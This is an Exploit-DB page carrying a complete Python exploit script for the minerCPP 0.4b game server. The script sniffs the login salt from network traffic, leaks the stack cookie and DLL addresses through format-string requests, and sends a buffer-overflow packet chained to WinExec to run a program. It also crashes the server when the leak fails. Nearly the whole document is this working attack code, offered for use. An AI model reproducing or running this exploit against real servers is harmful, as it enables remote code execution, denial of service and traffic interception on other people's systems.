minerCPP 0.4b – Remote Buffer Overflow / Format String

  • 作者: l3D
    日期: 2010-07-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14248/
  • #!/usr/bin/env python
    #minerCPP 0.4b Remote BOF+Format String Attack Exploit
    #Software Link: http://sourceforge.net/projects/minercpp/
    #Author: l3D
    #Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
    #IRC: irc://irc.nix.co.il
    #Email: pupipup33@gmail.com
    #Tested on Windows 7
    
    #In order to make this exploit work you should sniff the salt first.
    #It's sent by the software to www.minecraft.net
    #You can find it in the POST data (salt=12345 for instance).
    #I added a part that sniffs it automatically using pcapy. 
    #Furthermore, in a real attack it can be simply brute
    #forced (it's only rand()). I didn't add this part in
    #order to prevent abusing.
    
    #The EAX can be influenced and the stack too.
    #However, there is a stack cookie that
    #prevents us to jump into our overwritten RET.
    #There are no SEH nor vtable overwritings.
    
    #So what can we do?...
    #I found a format string attack vulnerability
    #which lets us calculate the master cookie
    #and get the ESP of the current thread.
    #Unfortunately, the BOF is in another
    #thread, so the ESP we've got may not match
    #the ESP we need, what makes this exploit unstable.
    
    #Code execution worked to me 10 out of 50 times.
    
    from socket import *
    from time import sleep
    import pcapy, hashlib, re, struct, os, sys
    
    print 'minerCPP 0.4b Remote BOF+Format String Attack by l3D (pupipup33@gmail.com)\n'
    
    if len(sys.argv) < 3:
    	print 'Usage: python %s <host> <port> [salt]' % sys.argv[0]
    	print 'If salt is not specified, the exploit sniffs it automatically.'
    
    if len(sys.argv) > 3:
    	salt=sys.argv[3]
    else:
    	dev=pcapy.lookupdev()
    	cap=pcapy.open_live(dev, 1024, False, 0)
    	cap.setfilter("dst 69.175.14.242 and dst port 80")
    	data=cap.next()[1]
    	while 1:
    		salt=re.findall(r'salt=(\d+)', data)
    		if salt:
    			salt=salt[0]
    			break
    		data=cap.next()[1]
    
    host=sys.argv[1]
    port=int(sys.argv[2])
    
    exp=re.compile(r'0X([0-9A-F]+)')
    
    def md5_calc(input):
    	o=hashlib.md5(input)
    	output=o.hexdigest()
    	del o
    	return output
    
    def pack_login(nick, x):
    	login='\x00\x07'
    	if x:
    		nick_hash=md5_calc(salt+nick)
    		nick=nick.ljust(64)
    		return login+nick+nick_hash
    	else:
    		return login+nick+'\x20'
    
    def pack_msg(nick, x):
    	msg='\x0d\x7e'
    	if x:
    		content='/pinfo %s ' % nick
    		content=content.ljust(64, 'A')
    	else:
    		content='/pinfo '+nick
    		content=content.ljust(64)
    	return msg+content
    
    def send_and_run(packet):
    	sock=socket(AF_INET, SOCK_STREAM)
    	sock.connect((host, port))
    	sock.send(packet)
    	sleep(1)
    	sock.close()
    	del sock
    
    sleep(2)
    
    ##############################################################################################
    
    print '[1] Stage 1: Cookie and KERNELBASE.dll ImageBase Getting'
    nick='%s.%#X.%#X'
    trys=0
    packet=pack_msg(nick, True)
    
    try:
    	sock=socket(AF_INET, SOCK_STREAM)
    	sock.connect((host, port))
    	sock.send(pack_login(nick, True))
    except:
    	exit('[-] ERROR: Sockets error.')
    
    data=sock.recv(2048)
    while data:
    	if data[0]=='\x00':
    		print '[+] Logged in successfuly!'
    		sock.send(packet)
    	if data[0]=='\x0e':
    		sock.close()
    		exit('[-] ERROR: Wrong salt.')
    	if data.startswith('\x0d\x00&e') and ' is a &7' in data:
    		print '[+] Data has been recieved!'
    		nums=[int(i, 16) for i in exp.findall(data[4:])]
    		if nums:
    			data=data[4:data.find('.0X')]
    			if len(data)<8:
    				if trys < 20:
    					print '[!] Data is too short, trying again...'
    					trys+=1
    					sleep(1)
    					sock.send(packet)
    				else:
    					print '[-] ERROR: Too much trys. DoSing...'
    					sock.close()
    					sleep(1)
    					send_and_run(pack_login('A'*128, False))
    					exit()
    			else:
    				esp=nums[1]-0xf0
    				kernelbase, xored_esp=struct.unpack('2L', data)
    				cookie=xored_esp^esp
    				kernelbase-=0x1671
    				print '[+] Stage 1 completed.'
    				break
    		else:
    			sock.close()
    			exit('[-] ERROR: addresses couldn\'t be found.')
    	data=sock.recv(2048)
    
    sock.close()
    del sock
    print
    sleep(2)
    
    ##############################################################################################
    
    print '[2] Stage 2: minerCPP.exe and kernel32.dll ImageBases Getting'
    nick='%#X.%#X.%s'
    packet=pack_msg(nick, False)
    
    try:
    	sock=socket(AF_INET, SOCK_STREAM)
    	sock.connect((host, port))
    	sock.send(pack_login(nick, True))
    except:
    	exit('[-] ERROR: Sockets error.')
    
    data=sock.recv(2048)
    while data:
    	if data[0]=='\x00':
    		print '[+] Logged in successfuly!'
    		sock.send(packet)
    	if data.startswith('\x0d\x00&e') and ' is a &7' in data:
    		print '[+] Data has been recieved!'
    		data=data[4:data.find(' is a &7')]
    		data=exp.sub('', data, 2)[2:10]
    		if len(data)==7:
    			data+='\0'
    		if len(data) < 8:
    			sock.close()
    			exit('[-] Data is too short, it can be because one of the adresses contains nullbyte...')
    		else:
    			kernel32, minerCPP=struct.unpack('2L', data)
    			kernel32-=0x4ef88
    			minerCPP-=0x5621
    			print '[+] Stage 2 completed.'
    			break
    	data=sock.recv(2048)
    
    sock.close()
    del sock
    print
    
    ##############################################################################################
    
    print '[~] Analyzed data:'
    print '[+] ESP: 0x%08x' % esp
    print '[+] Cookie: 0x%08x' % cookie
    print '[+] KERNELBASE.dll: 0x%08x' % kernelbase
    print '[+] kernel32.dll: 0x%08x' % kernel32
    print '[+] minerCPP.exe: 0x%08x' % minerCPP
    print
    sleep(2)
    
    ##############################################################################################
    
    print '[3] Stage 3: Buffer Overflow'
    
    esp+=0x50
    winexec=struct.pack('L', kernel32+0x8e76d)
    exitprocess=struct.pack('L', kernel32+0x52aef)
    calc=struct.pack('L', esp+0x98)
    
    junk='A'*(64-len(salt))
    xored_esp=struct.pack('L', esp^cookie)
    ret=winexec #jump to WinExec @ kernel32.dll
    ret+='JUNK'
    ret+='\x10\x01\x01\x10' #readable address @ zlib1.dll
    ret+=exitprocess #jump to ExitProcess @ kernel32.dll
    ret+=calc #the place of the string in the stack
    ret+='\x01\xFF\xFF\xFF'
    ret+='JUNK'
    ret+='\xFF\xFF\xFF\xFF' #exit code -1
    ret+='calc' #a program to execute
    
    packet=pack_login(junk+xored_esp+ret, False)
    
    send_and_run(packet)
    print '[+] Packet has been sent. The server should be DoSed or a code should be executed.'